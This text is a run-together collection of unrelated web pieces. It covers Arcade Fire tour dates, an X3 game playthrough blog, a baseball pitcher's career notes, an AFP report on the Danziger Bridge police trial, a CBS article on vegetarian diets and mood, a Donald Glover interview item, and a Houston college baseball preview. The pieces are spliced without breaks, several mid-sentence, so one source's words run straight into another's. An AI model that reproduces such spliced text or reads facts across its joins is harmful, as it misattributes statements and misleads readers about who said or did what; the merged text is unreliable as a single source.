The Canadian band are already confirmed to headline this year’s Isle Of Wight Festival on June 9.
Now, they will hit the road for a show at Manchester’s Castlefield Bowl on July 6, Belfast’s Ormeau Park on June 13 and Dublin Malahide Castle on June 14.
Tickets go on sale at 9am on (Friday) February 17. Arcade Fire will play:
Tue June 13 2017 – BELFAST Ormeau Park
Wed June 14 2017 – DUBLIN Malahide Castle
Thu July 6 2017 – MANCHESTER Castlefield Bowl
Arcade Fire will also perform at this year’s Roskilde Festival alongside Blink 182 and Foo Fighters.
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Elsewhere, they are set to headline Croatia’s acclaimed INmusic Festival, along with Kasabian and Kings Of Leon.
The band recently released their Reflektor Tapes + Live at Earls Court DVD, which combines their 2015 movie The Reflektor Tapes and a live film of their Earls Court gig in London during June 2014.
They also recently unveiled their first new track in two years with Mavis Staples collaboration ‘I Give You Power’.
In an interview with Zane Lowe on Apple Music’s Beats 1, frontman Win Butler opened up about why they released the track one day ahead of Donald Trump’s inauguration.
“The song was made to come out now. That’s one of the beautiful things about the times we’re in — you can just put something out. It’s the eve of the inauguration and I think it’s easy to get sucked into sitting on the couch and checking your news feed and watching things on CNN, and we’re just musicians and the only thing we really have to offer is our music,” he said.
“I talked to Mavis last night and she said, ‘Now more than ever we have to come together and hold onto each other.’ For us it’s a feeling of solidarity—to not feel powerless and focus on what we can do as individuals and try to do our part.”Just a quick note: I will be switching the release of new episodes to Sundays, as I’m lazy and that will give me more free time to write. Anyways, many of you probably have the weekends off from work or whatever, so you can read it right when it comes out.
I LIKE PASTA
This time, I manage to avoid detonating in space from rapidly expanding solar plant modules, or more likely in this case, to detonate in space from metal spaghetti ending up all over the flippin’ place.
I placed the hub correctly this time, and everything else was perfectly placed, for that matter.
And then I repeat it, making a nice, symmetrical complex, with the hub positioned in a manner which would minimize Discoverers running into everything, and more importantly (although less frequently) freighters running into everything.
And so this pretty industrial beast was born.
Also, sorry if the quality and size are low, I took these with F12 instead of how I usually take them with PRINT SCREEN.
Now I have to supply it. I put all of the Mercury’s which haven’t been successful trading and/or sitting around, and have them start supplying it.
Then I return to stock trading, as I often do.
After letting my complex run for a while, it becomes apparent that supplying it is becoming a problem. I need food and silicon, but I’ve got this problem covered; let’s build more industrial things, and kill people to pass the time.
It’s time to turn my Cahoona bakery into a food ‘plex, so that way I’ll have a ‘plex supporting another ‘plex. Gettin’ all fancy now.
I Morag Tong-style hunt down the Mammoth (not Dark Brotherhood style, as I hate them) and tell him to take his sweet little peachy-cakes time shipping my station. This is the part of the story where I pass the time by killing people.
THIS IS NOT THE ORDER THE KILLING WAS SUPPOSED TO HAPPEN IN!
After I take a break from X3 because of a game that may or may not be part of the Elder Scrolls series, which may or may not be one of my favorite series along side X, I come back to the game after reading X3 articles on Reddit, which made me want to play the game again.
Let’s see, I don’t quite remember WTF was going on, but I remember complexes being part of it… ah, amnesia. This is a fairly cliche thing for an awesome protagonist hero with lots of lasers to have.
I’m in the Shadowshard, which is my Centaur. (I had actually gotten the order of the Heavy Centaur and the regular Centaur wrong in the previous articles. Sorry. I’ll have to edit that, but I’m lazy right now.) I undock, and there are Terran stations here. Wut |
-4 victory...Made a total of seven starts from 6/16-7/23, going 2-2 with a 7.52 ERA (27 ER, 32.1 IP) before being placed on the 10-day DL with a blister on his right index finger...Made two rehab starts for Frisco, going 1-1 with a 2.31 ERA (3 ER, 11.2 IP) before being reinstated on 8/12...Appeared in five games (three starts) for TEX from 8/12-9/10, going 1-1 with a 8.10 ERA (15 ER, 16.2 IP) before being released on 9/12.
2016
Became the 29th different pitcher to start on opening day for the Padres, 4/4 vs. LAD…allowed 8 runs/7 ER in 5.1 innings in SD's 15-0 loss…felt discomfort following a bullpen session ahead of his next scheduled start and was placed on the 15- day disabled list on 4/9 (retroactive to 4/5) with a diagnosis of right shoulder inflammation…was assigned to Lake Elsinore (High-A) on rehab assignment on 8/25, losing start that night at Rancho Cucamonga (0.2 IP, 3 H, 4 R-ER)…continued to experience soreness and was removed from rehab assignment and transferred to the 60-day DL on 8/31...Had surgery to relieve Thoracic Outlet Syndrome performed by Dr. Robert Thompson on 10/13 in St. Louis…was not tendered a contract offer by the Padres prior to the deadline on 12/2, making him a free agent.
2015
Named the Padres Pitcher of the Year by the local chapter of the Baseball Writers Association of America (BBWAA) after he finished the 2015 campaign with new career-highs in innings pitched and strikeouts after going 10-12 with a 3.26 ERA (71 ER, 196.0 IP) and 212 strikeouts against 84 walks while holding opponents to a.237 average....His strikeout total ranked 13th in the Majors, sixth in the National League and second on the team (Shields, 216)....His 212 strikeouts were a new career high, surpassing his previous best of 195 in 2014…was the second pitcher in franchise history to record 195+ strikeouts in consecutive seasons, joining Jake Peavy who did so in three straight seasons from 2005-07....Also posted a 9.73 strikeouts per nine innings ratio (212 strikeouts/196.0 IP), the second-best mark in franchise history by a starter, trailing only the 9.87 mark (189 SO/172.1 IP) set by Andy Benes during the 1994 season....Ross and teammate James Shields (216) both reached the 200 strikeout plateau, making them the first set of teammates in franchise history to reach 200+ strikeouts in the same season....His 196.0 innings pitched was one more inning than his previous record of 195.0 IP set in 2014…first Padres pitcher since Jake Peavy from 2005-07 to record 195.0+ in consecutive seasons (Peavy did so in three straight seasons)....Allowed just nine home runs in 196.0 IP, good for a 0.41 home runs per nine innings ratio, third-best mark among qualified Major League starters, trailing only JakeArrieta (0.39) and Gio Gonzalez (0.41)…it was also the seventh-best mark in franchise history and the best since Kevin Brown had a 0.28 HR/9 (8 HR, 257.0 IP) during the 1998 season....Posted a 100.0-inning streak without allowing a home run from 4/28 - 7/29, the longest by a Major League pitcher in a single season (in terms of both starts and innings pitched) since Mets starter Sid Fernandez went 16 starts and 111.0 innings pitched during the 1992 season…was the third-longest in terms of innings pitched in franchise history, trailing only Dave Roberts (123.1 IP from 4/30-7/20 in 1971) and Padres Hall-of-Famer Randy Jones (107.1 IP from 7/3-9/11 in 1978)....Recorded 212 strikeouts and allowed nine home runs in 2015 after he had recorded 195 strikeouts and allowed 13 home runs in 2014…since the start of the 2000 campaign, is the fifth Major League pitcher to have consecutive seasons of 195+ strikeouts and less than 15 homers allowed, joining Clayton Kershaw (3 seasons, 2013-2015), Pedro Martinez (2002-03), Tim Lincecum (2008-09) and Ubaldo Jimenez (2009-10)....According to FanGraphs.com, he posted a 71.2% contact percentage, the fourth-lowest rate in the Major Leagues and the lowest mark in baseball by a right-hander, behind only Francisco Liriano (67.5%), Clayton Kershaw (69.0%) and Chris Sale (70.5%)....Posted a 62.3% ground ball rate this season, the third-highest rate in Major League Baseball, trailing only LAD Brett Anderson (66.7) and HOU Dallas Keuchel (62.3)…Ross also posted a 3.51 groundout/flyout ratio, the third-highest in baseball behind only Anderson (4.49) and Keuchel (3.68)...Threw his slider a National-League-leading 1,289 times in 2015, with Chris Archer being the only player in Major League Baseball to throw it more often (1,307)…had a 45.54% swing-and-miss rate on his slider, the second-highest whiff rate on a single pitch thrown by a pitcher at least 750 times, trailing only Cole Hamels' change-up, which had a 48.22% swing-and-miss rate (thrown 770 times)....Recorded 142 strikeouts on his slider this season, the fourth-highest total by any Major League pitcher on a single pitch, trailing only Chris Archer's slider (179), Lance Lynn's fastball (144) and Max Scherzer's fastball (144), per STATS, Inc.... At the plate, Ross posted a.255/.288/.364 (14-for-55) with a double, a triple, a home run and six RBI…his.255 batting average was the highest by a Major League pitcher in 2015, the first time in Padres franchise history they had a pitcher lead his position in hitting....Ross hit for a "season cycle" (1B, 2B, 3B, HR), making him the second pitcher in franchise history to accomplish this feat…Tim Lollar also did so three times, having done so every season from 1982-1984....Hit his first career home run on 7/2 at STL, an opposite field shot off Tim Cooney…was the fourth pitcher in franchise history to hit an opposite field home run and the first since Andy Benes did so against the Phillies on 9/3/89…Mike Corkins (6/28/72) and Dave Roberts (7/9/70) also accomplished this feat.
2014
Set career-highs in starts (31), innings (195.2), strikeouts (195) and ERA (2.81) in his first full season as a starter with the Padres...Went 13-14 with a 2.81 ERA (61 ER, 195.2 IP) with 195 strikeouts in 31 starts...his ERA ranked 11th in the National League while his strikeouts ranked eighth...Selected to represent the Padres for the National League at the 85th annual Major League Baseball All-Star Game in Minneapolis on 7/15… his first career trip to the All-Star Game...was the 10th starting pitcher in club history to be named an All-Star, the 12th time overall a Padres starting pitcher has been selected to the team…did not appear in the game as he made his last start on the Sunday before the All-Star Break...Put up the 11th-best ERA and opponents batting average (.230) in Padres franchise history while his strikeout total was seventh-best…his 8.97 strikeouts per nine innings ranked eighth in the NL...Turned in 15 games of six-or-more innings pitched and two-or-fewer earned runs, tied for the third-most in the Majors, trailing only Adam Wainwright-STL (17) and Clayton Kershaw-LAD (17)...In 15 starts at Petco Park, posted an 8-5 record with a 1.88 ERA (21 ER, 100.2 IP) with 106 strikeouts against 31 walks while limiting the opposition to a.199 average…his home ERA was the fourth-best mark in Major League Baseball...Owns a lifetime.195 opponents average over his career at Petco Park, the second-best mark in ballpark history, trailing only Luke Gregerson, who held the opposition to a.173 batting average at Petco Park...Over 30 games, 21 starts, in his career at Petco Park, owns a 1.95 ERA (33 ER, 154.0 IP), the second-lowest mark in ballpark history, behind only Mike Adams, who pitched to a 1.29 ERA over six seasons and 112 games in downtown San Diego...Posted a streak of 14 consecutive quality starts from 6/21 - 9/7, a Padres franchise record… in addition to the quality starts, allowed six-or-fewer hits in each of those 14 starts...dating back 1914, the only Major League pitcher with a longer streak of quality starts allowing six-or-fewer hits was Mike Scott-HOU, who went 17 games from 5/21 - 8/8/86...During his quality start streak, posted a 7-6 record with a 1.93 ERA (20 ER, 93.1 IP) with 94 strikeouts against 26 walks while limiting the opposition to a.210 average…ranked fourth in the NL in ERA and opponents average and third in strikeouts...Threw the first complete-game shutout of his career on 7/2 vs. CIN, allowing just three hits with nine strikeouts and no walks… first pitcher in franchise history to throw a shutout, allow three-or-fewer hits, strike out nine-or-more and walk none in a game...Threw the second complete game of the season and of his career on 8/21 a LAD but took the loss after he allowed two runs on four hits with eight strikeouts against two walks over 8.0 innings pitched...In July, went 4-2 with a 1.10 ERA (5 ER, 41.0 IP), a.194 opponents average and 48 strikeouts against 10 walks in six starts… led all Major League pitchers with 48 strikeouts during the month…his 48 strikeouts that month are tied for the third-most in franchise history by a pitcher during the month of July, trailing only Kevin Brown's 60 in 1998 and Andy Benes' 54 in 1994…overall, his 48 strikeouts during July are tied for the seventh-most in franchise history for any month of the season...His 1.10 ERA (min. 25.0 IP) in July was second-best in the NL…his 1.10 ERA in July was second-best in franchise history, behind only the 1.04 ERA (4 ER, 26.0 IP) Mat Latos put up in July 2010… his 1.10 ERA was the lowest by any pitcher in franchise history to make six starts in a single month...According to Baseball Prospectus, threw his slider a Major-League-leading 1,272 times in 2014…forced a swing on 53.14% of those pitches and a swing-and-miss on 44.38%, the fourth-best swing rate and second-best whiff rate in the Majors (min 750 pitches)...According to FanGraphs.com, posted a 71.4 contact percentage, second-best rate in MLB, trailing only Francisco Liriano-PIT (68.1%)...Allowed 14 unearned runs, tied for the third-highest total in Major League baseball and second-most in the NL, behind only Dan Haren-LAD (18) and Jon Lester-OAK/BOS (16)...Collected a pair of bunt singles in 2014, tied for the Major League lead among pitchers with teammate Andrew Cashner.
2013
Set career-highs in games (35), starts (16), innings (125.0), strikeouts (119) and ERA (3.17) in his first season with the Padres...Was 3-5 with a 3.06 ERA (32 ER, 94.0 IP) with 97 strikeouts in 16 starts...compiled a 0-3 record with a 3.48 ERA (12 ER, 31.0 IP) with 22 strikeouts in 19 relief appearances...Made two starts during a quick stint in the minors in July to build up his pitch count...returned on July 23 and pitched exclusively out of the rotation the remainder of the season, going 3-4 with a 2.93 ERA (26 ER, 80.0 IP) with 85 strikeouts in 13 starts...His 2.93 ERA from July 23 through the end of the season ranked tied for seventh in the National League and tied for 14th in the Majors (min. 80.0 IP)...Recorded the lowest contact percentage (69.6% of swings) of all qualified Major League pitchers in the second half...His 2.03 ERA (12 ER, 53.1 IP) at Petco Park was the fourth-best in ballpark history (min. 50.0 IP) while his.187 opponents batting average ranked second behind Chris Young (.170 in 2007)...His.201 (56-for-279) opponents batting average from July 23 through the end of the season was tied for the best in the Majors with Texas' Yu Darvish...Posted a 2.03 ERA (12 ER, 53.1 IP) with 46 strikeouts in 15 games, including six starts, at Petco Park...recorded a 4.02 ERA (32 ER, 71.2 IP) in 20 games, including 10 starts, on the road...His 9.29 strikeouts per nine innings as a starter ranked sixth in the National League and 12th in the Majors...Limited right-handed hitters to a.199 (45-for-226) average, which ranked sixth-best in the Majors...Placed on the 15-day disabled list on April 20 with a left shoulder subluxation suffered on a swing resulting in a single off the wall on April 17 at Los Angeles-NL, his first Major League hit (Clayton Kershaw)...Sent on minor league rehabilitation assignment on April 30, making two appearances with Tucson (4 ER, 2.2 IP) before being recalled and activated from the 15-day disabled list on May 5...After returning from his rehabilitation assignment, pitched out of the bullpen because he could not swing a bat, posting a 3.48 ERA (12 ER, 31.0 IP) in his next 19 appearances.
2012
2011
2010
Split the season between the Major League club and Triple-A Sacramento in the Athletics organization, making 13 starts for both the A's and River Cats.In his 15 games, 13 starts, total for Sacramento, was 6-2 with a2.99 ERA(26 ER/78.1 IP) and 64 strikeouts against 29 walks.In his 13 starts for the River Cats, was 5-2 with a 2.74 ERA (23ER/75.2 IP) and 62 strikeouts against 28 walks.On 6/16 vs. SD, carried a no-hitter into the sixth inning before Carlos Quentin hit a two-run home run with two outs.Went 3-3 with a 2.75 ERA in nine games, six starts, with Oakland before going on the disabled list May20 with a strained left oblique...made four rehab starts before he was reinstated from the DL and optionedto Sacramento July 25...surrendered just one home run in 36.0 innings and had a.298 opponentsslugging percentage...allowed a.252 opponents batting average, which included a.250 (17-for-68)mark against left-handed hitters and.254 (16-for-63) against right-handers...issued nine of his 13 walksto lefties...opponents hit.315 with the bases empty,.172 with runners on, including.208 with runnersin scoring position...was 2-2 with a 2.61 ERA in his six starting assignments and 1-1 with a 3.60 ERAin three relief appearances...is now 2-4 with a 3.49 ERA (15 er in 38.2 ip) in eight career starts, 2-3with a 4.91 ERA (20 er in 36.2 ip) in 27 relief appearances...first batters faced were 2-for-3 in his reliefappearances and he did not inherit any runners...first batters are now 10-for-24 (.417) with three walks(.481 on-base percentage) in his career...compiled a 0.90 ERA and.217 opponents batting averageover the first four innings of a game...had a 5.06 ERA and.290 opponents average from the fifth inningon...opponents were 13-for-35 (.371) with five walks (.450 on-base percentage) when leading off aninning...was 2-1 with a 2.11 ERA in five games during the day, compared to 1-2 with a 3.68 ERA in fourcontests at night...the A's were 3-3 in his six starting assignments and 3-5 (.375) in his career...tossedsix or more innings in four of his six starts, allowed two runs or fewer five times and walked two battersor fewer four times...pitched for Phoenix in the Arizona Fall League following the season and was 1-3with a 5.94 ERA in seven starts.OAKLAND: Was one of the A's final cuts during the spring as he was optioned to Sacramento March30...did not pitch for the River Cats before being recalled April 6 when Michael Wuertz went on thedisabled list...pitched in relief in each of his first three appearances, including his first outing April 11at Chicago (AL) when he tossed 3.0 scoreless innings for the win in a 2-1 A's victory in 10 innings...moved into the starting rotation April 22 after Dallas Braden went on the DL...allowed a career-hightyingthree runs on four hits and a career-high four walks in 4.1 innings that day at Seattle, absorbingthe loss...then went 2-1 with a 2.03 ERA over his final five starts...tossed 7.0 shutout innings April 27at Los Angeles (AL) but had a no decision in the A's 2-1, 10-inning win...that began a career-high 13.0inning scoreless streak...allowed a career-high eight hits May 3 against Cleveland...won consecutivestarts May 8 at Kansas City and May 14 against Chicago (AL), the first winning streak of his career...struck out a career-high eight against the White Sox and also had bests in innings pitched (7.1) and pitches(102)...made his final start May 19 against Minnesota...allowed a single to start the game to DenardSpan but left after facing one batter and throwing just seven pitches...Span scored and he was chargedwith the loss in an 11-1 decision...since Stats, Inc. began tracking pitch counts in 1987, the seven pitcheswere the fewest by an A's starting pitcher...the previous low was 10 by Omar Olivares June 16, 2000 atKansas City...was placed on the 15-day disabled list the next day with a strained left oblique.SACRAMENTO: Began a rehab assignment with Triple-A Sacramento June 30 and went 0-1 with a13.50 ERA in two starts...was transferred to Single-A Stockton July 10, allowing one run in 1.0 inningbefore he was removed from the game with right shoulder tightness...his rehab assignment was haltedbut an MRI revealed no structural damage...resumed his rehab with Sacramento July 24 against Reno,allowing five runs on four hits in 3.0 innings...was reinstated from the disabled list and optioned toSacramento the next day...then went 3-1 with a 5.72 ERA in six starts the rest of the way...was 3-2 witha 7.61 ERA in nine starts overall with the River Cats...struck out 34 in 36.2 innings but also issued 22walks, an average of 5.40 per nine innings...allowed a.325 opponents batting average, which includeda.260 (20-for-77) mark against left-handed hitters and.386 (32 for 83) against right-handers...yieldedfour of his five home runs to righties...opponents hit.323 with runners in scoring position...was 2-1with a 5.63 ERA in four starts at home, compared to 1-1 with a 9.15 ERA in five starts on the road...struck out a season-high nine batters in 5.0 innings against Round Rock Aug. 15...allowed just oneunearned run for the win...allowed a season-high seven runs on a season-high nine hits in 5.1 inningsAug. 25 at Fresno...tossed a season-high 6.0 innings and allowed just one run for the win in his finalstart, Aug. 30 against Las Vegas...went 0-2 with an 8.31 ERA in two postseason starts (8.2 ip, 18 h, 11r, 8 er, 1 bb, 6 so).The A's second-round pick in the 2008 draft made the Opening Day roster as a non-roster invitee andspent half of the season with Oakland...went 1-4 with a save and a 5.49 ERA in 26 games, includingtwo starts, before he was optioned to Sacramento July 7...was 2-1 with a 3.55 ERA in six games, allstarts, with the River Cats before he was shut down Aug. 10 with a strained right elbow...with the A's,he struck out 32 in 39.1 innings but also issued 20 walks (4.6 per nine innings)...had a 3.32 ERA overhis first 11 appearances, a 7.52 ERA over his final 15 contests...allowed a.271 opponents batting average,including.258 (17-for-66) against left-handed hitters and.282 (22-for-78) against right-handers...surrendered three of his four home runs and issued 14 of his 20 walks to right-handers...opponentsbatted.323 with runners in scoring position...compiled a 2.49 ERA and.221 opponents batting averagein 13 appearances in Oakland compared to a 9.17 ERA and.328 opponents average in 13 games on theroad...yielded three of his four home runs on the road...went 0-2 with a 7.04 ERA in his two starting assignmentsand 1-2 with a 5.12 ERA in 24 relief appearances...yielded a.368 batting average to the firstfour hitters in the batting order, a.207 mark against the bottom five...allowed 4-of-10 (40.0%) inheritedrunners to score...first batters faced were 8-for-21 (.381) with three walks (.458 on-base percentage)...tossed two or more innings in nine of his 24 relief appearances...was named the A's fourth best prospectby Baseball America following the season...was also tabbed as having the Best Slider in the magazines'Best Tools survey for prospects.
OAKLAND: Was the only non-roster invitee to make the A's Opening Day roster...made his MajorLeague debut in the sixth inning, April 7 against Seattle...struck out the first batter he faced (Rob Johnson)in tossing 2.1 scoreless innings (1 h, 1 bb, 2 so)...his debut came in his third professional season,15 days before his 23rd birthday...had pitched just nine games above the Single-A level entering theseason...made his second appearance April 11 at Los Angeles, logging 3.0 innings in the A's 9-4 win forhis first career save...was credited with his first big league win May 11 at Texas in a game he was alsocharged with a blown save...entered the game in the 11th inning with a 6-5 lead but allowed a two-outRBI single to Borbon to tie the game...the A's then scored a run in the 13th and he retired three of four inthe bottom of the inning for the win...struck out in the 12th inning to become the first A's pitcher to batin a non-interleague game since Todd Stottlemyre also struck out Aug. 16, 1985 at Kansas City...madehis first Major League start May 15 at Los Angeles after Justin Duchscherer was scratched minutes beforefirst pitch...retired each of the first 11 batters he faced before allowing three straight hits, capped bya three-run home run by Morales...allowed a career-high three runs in 3.2 innings and was charged withhis first career loss...started and lost again May 20 against Detroit, allowing three runs on a career-highseven hits in a career-high 4.0 innings...also struck out a career-high four...returned to the bullpen May25, allowing two runs in each of his next three outings (1.2 ip, 3 h, 6 r, 6 er, 6 bb, 0 so, 32.40 ERA)...did not retire a batter in two of those outings, including June 1 at Boston when he was charged with the loss, his fourth in five games...then posted a 4.09 ERA and held the opposition to a.184 batting averageover his final 10 games before he was optioned to Sacramento July 7.
SACRAMENTO:Walked 13 and struck out 30 in 25.1 innings in his Triple-A debut...allowed just onehome run...opponents batted.253, including.241 (13 for 54) by right-handed hitters and.273 (9 for 33)by left-handers...allowed a.350 batting average to hitters leading off an inning...yielded five of his 10runs in the fifth inning, as he posted a 2.08 ERA over the first four innings and a 12.27 ERA in the fifth...had made just two professional relief appearances before being used mostly as a reliever during his staywith Oakland...returned to the starters role with Sacramento, but never pitched more than 5.0 innings ashe built up his pitch count...held the opposition to one run or less in four of his first five starts...includingconsecutive starts of 5.0 shutout innings of two-hit ball on both July 21 at Colorado Springs (2 bb,7 so) and July 26 at Tacoma (3 bb, 8 so)...had a 2.21 ERA over his first five starts and then allowed fiveruns on eight hits in 5.0 innings Aug. 6 at Albuquerque...notched the win in that game, but it would behis final start of the season...was placed on the disabled list Aug. 10 with a strained right elbow.
2009
2008
Began his first full professional season at Single-A Stockton but earned a late season promotion toDouble-A Midland and combined for a 10-10 record and a 4.09 ERA in 27 games, all starts...tied forfifth in the A's farm system in wins (10) and ranked seventh in ERA (4.09), strikeouts (113) and innings(136.1)...allowed a.233 opponents batting average, including.224 (66 for 295) against right-handedhitters and.245 (52 for 212) against left-handers...yielded seven of his 13 home runs against lefties...had a 1.38 strikeout to walk ratio (36 so, 26 bb) against lefties and 2.85 against righties (77 so, 27 bb)...opponents hit.216 with runners in scoring position and were 10 for 59 (.169) with RISP and two outs...compiled a 2.73 ERA over the first three innings of a game and a 5.97 ERA from the fourth inning on...his teams were 13-14 (.481) in his starting assignments...tossed six or more innings in just eight of his27 starts, allowed two runs or fewer 14 times and walked two batters or fewer 18 times...was named asthe A's number six prospect by Baseball America following the season and was also tabbed as havingthe Best Slider.Was selected by the A's in the second round of the draft and was assigned to Single-A KaneCounty...went 0-1 with a 4.66 ERA in six games, four starts, for the Cougars...held the opposition to a.219 batting average, including.208 against right-handed hitters and.240 against lefties...allowed hisonly home run to a left-handed hitter and issued just one of his five walks against righties...opponentshit.186 with the bases empty and.267 with runners on...however, they were 0 for 7 with runners inscoring position and two outs...pitched 2.0 scoreless and hitless innings of relief and struck out two inNEW ORLEANS, Louisiana (AFP) – Five New Orleans police officers accused of indiscriminately shooting people in the chaos unleashed by Hurricane Katrina face a high-profile trial in the coming week.
The deadly 2005 shooting on the Danziger Bridge and resulting cover-up came to epitomize the city’s failure to protect its citizens and exposed deep-rooted corruption in the police department which many say remains unaddressed.
“This trial is going to show the country and the world that we have a serious problem with our police department,” said Eddie Jordan, the city’s former District Attorney.
“This department is engaged in horrendous acts against its citizens.”
Fear soon followed the deadly floodwaters which swallowed 80 percent of New Orleans and left thousands stranded on their rooftops after Katrina smashed through the city’s poorly maintained levees on August 29, 2005.
Reports of widespread looting and armed gangs roaming the city shifted the government’s already botched response from humanitarian aid to a military operation.
Then-Governor Kathleen Blanco sent in National Guard troops, announcing “These troops know how to shoot and kill and I expect they will.”
Warren Riley, then-second in charge of the New Orleans police department (NOPD) reportedly instructed officers to “take the city back and shoot looters.”
In the following days, six people — almost all of them African American — were killed under suspicious circumstances in incidents involving police. Scores more were injured.
“We had more incidents of police misconduct than civilian misconduct,” Jordan, the former district attorney, told AFP. “All these stories of looting, it pales next to what the police did.”
The Danziger Bridge case is the most notorious of at least nine incidents being investigated by federal agents.
A group of officers, who had apparently heard a misleading radio report about shootings in the area, began firing on two families who were simply trying to escape the floodwaters.
Ronald Madison, a mentally challenged man, was shot in the back at least six times, then stomped and kicked by an officer until he was dead, officers who pleaded guilty in exchange for a lighter sentence have testified.
James Brissette, a high school student, died after he was shot seven times.
Four others were badly wounded, including Susan Bartholomew, 38, whose arm was shot off her body.
For years, family members and advocates called for official investigations and were rebuffed.
That changed when President Barack Obama’s newly appointed attorney general took over in 2009 and the US Justice Department decided to look into the accusations.
It has been one of the most wide-ranging investigations of a police department in recent US history. Dozens of officers are facing lengthy prison terms, and corruption charges have reached to the very top of the department.
In a scathing 158-page report released in March, the Justice Department declared that the New Orleans police department has deep structural problems beyond what has been revealed by the Danziger incident.
“Basic elements of effective policing — clear policies, training, accountability, and confidence of the citizenry-have been absent for years,” the report concluded.
Assistant District Attorney Christopher Bowman said public distrust in the police department is real.
“We see the effects of that on a daily basis in criminal court. When we question jurors, there are jurors that say they don’t trust the police.”
But positive changes have already taken hold, Bowman said.
“You have to look at an entire criminal justice system that is reforming itself,” he told AFP.
Criminal justice reformers disagree, saying that the problems are systemic and that even the Justice Department investigations, which have focused mostly on the NOPD, don’t go far enough.
They complain of judges who are too close to prosecutors, a coroner who sides with the police version of events, and a city jail that is the largest per capita jail in the United States.
“Danziger is not something that happened in isolation,” said Rosana Cruz, the associate director of V.O.T.E., an organization that seeks to build civic engagement for formerly incarcerated people.
“Everyone’s job in the criminal justice system depends on there being a lot of crime in the city. As long as that’s the case, we’re not going to have safety.”
Jury selection in the Danziger Bridge trial begins Wednesday and opening arguments are expected the following week.
Sergeants Kenneth Bowen and Robert Gisevius and Officers Anthony Villavaso and Robert Faulcon are accused in both the shooting and the cover-up and face life sentences if convicted.
Sergeant Arthur Kaufman, who was not present at the shooting, is accused only in the cover-up, and faces a maximum penalty of 120 years in prison.PHILADELPHIA (CBS) — Many Americans have turned to a vegetarian diet for many different reasons. Maybe you just think it will make you generally more healthy. Perhaps you want to trim a few pounds. Maybe you want to supplement your already healthy lifestyle.
However, will you be happier?
Some research suggests that the exact opposite is the truth and Women’s Health recently looked into some of the research and cautions people to be well aware of how going meatless can impact your mental health.
The article cites an Australian study from last year which found that vegetarians reported that they were less optimistic about their future more often than people who kept meat in their diets. That same study found that vegetarians were 18 percent more likely to report having depression and 28 percent more likely to experience panic attacks and anxiety.
The question that people considering a vegetarian diet have to consider is whether or not the gains outweigh the risks. Will the number drop on the scale be worth it in the long run if you feel more sluggish or anxious than usual?
While there might be some clear reasons to avoid meat, it has benefits as well that impact your mind and your mood.
B Vitamins, zinc, iron and tryptophan are all found in abundance in meat and are often time in low quantities, or missing altogether, in vegetarian diets.
Women’s Health suggests not quitting meat too suddenly. There is support for the notion that if you want to take on a meatless diet, you should do so in increments to allow for some meat eating while you gauge for yourself how your body is reacting to the new diet.It must be hard to walk around with the name Donald these days. There’s a bloated ham with a Chinese bird’s nest as a hat out in the public spotlight giving all the other Donald’s a bad rep. But Donald Glover, aka Childish Gambino, isn’t too concerned about it, because he’s sure of one stone cold fact: One day, Donald Trump is going to die.
While promoting his new dark comedy on FX, Atlanta, at the Television Critics Association press tour, Glover was asked about his departure from the hit NBC show Community. “I just like endings. I think every thing should have death clauses,” he replied (via The Hollywood Reporter). Then he made a fitting analogy. “Thank God, one day Trump is gonna die. That is guaranteed. That is awesome.” And suddenly life doesn’t seem so unfair.
Glover went on on a more serious note. “Its important that things end and… I’m glad things end because it forces things to progress. I get really frustrated in the world because I see a lot of things that could be better but aren’t better because things haven’t died yet.”
As for Atlanta, it sounds like a very intriguing project. Glover created and executive produces the show in which he stars as a loner who returns to his Atlanta home and ends up becoming a part of the local rap scene with his cousin, Alfred (Brian Tyree Henry). The show is attempting to blend high-stakes emotional drama with humor as a means of expressing the black experience in America. “I always want people to be scared because that’s kind of how it feels to be black.”Ables G.P.
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8-4 Game 3 victory.
Will Fox led the way offensively for McNeese State, hitting.375 with three RBI and three walks for a.545 on-base percentage. Ricky Ramirez also had a great opening weekend with three hits and three runs while senior Connor Crane drove in three runs with two hits, including a homer.
The Cowboy pitching staff posted a 2.67 ERA with 26 strikeouts in 27.0 innings, led by starter Ethan Stremmel, who tossed 5.1 shutout innings with five strikeouts.
SERIES HISTORY
Houston and McNeese State will meet for the 62nd time in program history and for the first of two meetings this season.
The Cougars own the all-time record at 48-13 and are 38-8 at home vs. the Cowboys. Houston has won the last seven meetings (since March 16, 2011) between the two programs. The Cougars swept the 2015 two-game series (W, 5-4 at McNeese State; W, 9-2 at home).
PROBABLE STARTERS
Houston: RHP Marshall Kasowski
Houston will hand the ball to junior Marshall Kasowski on Tuesday vs. McNeese State. The right-hander made nine appearances in 2015 with a 1-0 record and a 2.12 ERA. In 17 innings pitched, he fanned 18 hitters. Tuesday will mark his first career start as a Cougar.
McNeese State: LHP Austin Sanders
Austin Sanders will make his debut for McNeese State after earning a redshirt for the Cowboys in 2015.
UP NEXT
The Cougars will then remain in the city to compete in the Shriners Hospitals for Children College Classic next weekend (Feb. 26-28) at Minute Maid Park vs. Texas Tech (Friday â€" 12 pm), Arkansas (Saturday â€" 3:30 pm), and TCU (Sunday â€" 2:30 pm).
For tickets to the College Classic: www.astros.com/collegeclassic
JOIN THE DUGOUT CLUB
Nationally-ranked Houston Baseball would like to encourage those wishing to support the efforts and success of the baseball student-athletes to consider joining the Dugout Club for as low as $25 a month or $300 annually.
CLICK HERE FOR MORE INFORMATION
LEVELS
PINCH HITTER
For a minimum monthly installment of $25 or a minimum one-time gift of $300, supporters can take advantage of the Pinch Hitter level, which will guarantee an invitation for two to exclusive Dugout Club events and Houston Baseball team apparel.
DIAMOND
For a minimum monthly installment of $100 or a minimum one-time gift of $1,000, supporters can take advantage of the Diamond level, which will guarantee batting practice passes for two to any home game, invitation for two to exclusive Dugout Club events and Houston Baseball apparel.
**Cougar Pride points will be applied accordingly.
For more information on joining the Dugout Club, please contact the Houston Baseball office at (713) 743-9396.
For more information regarding Cougar Pride, please call (713) 743-GOUH
BUY SEASON/ SINGLE-GAME / GROUP TICKETS
Houston Baseball will play 32 home games at Cougar Field this upcoming 2016 season and fans can purchase season tickets for as low as $99 online by visiting UHCougars.com/tickets and following the appropriate links or by clicking here.
To purchase tickets in person, fans can visit the Athletics Ticket Stadium Office located on the northeast corner of TDECU Stadium, just outside of Gate 1 off Cullen Boulevard. Parking is available in the TDECU Stadium parking garage with the first 30 minutes free of charge. Regular business hours are Monday through Friday, 10 a.m., to 5:30 p.m.
Houston Baseball will offer variable pricing on its single-game tickets and group rates.
As noted in the table above, variable pricing occurs. For weekday (Tuesday/Wednesday) games, prices range from $5-$7 depending on the choice of seating.
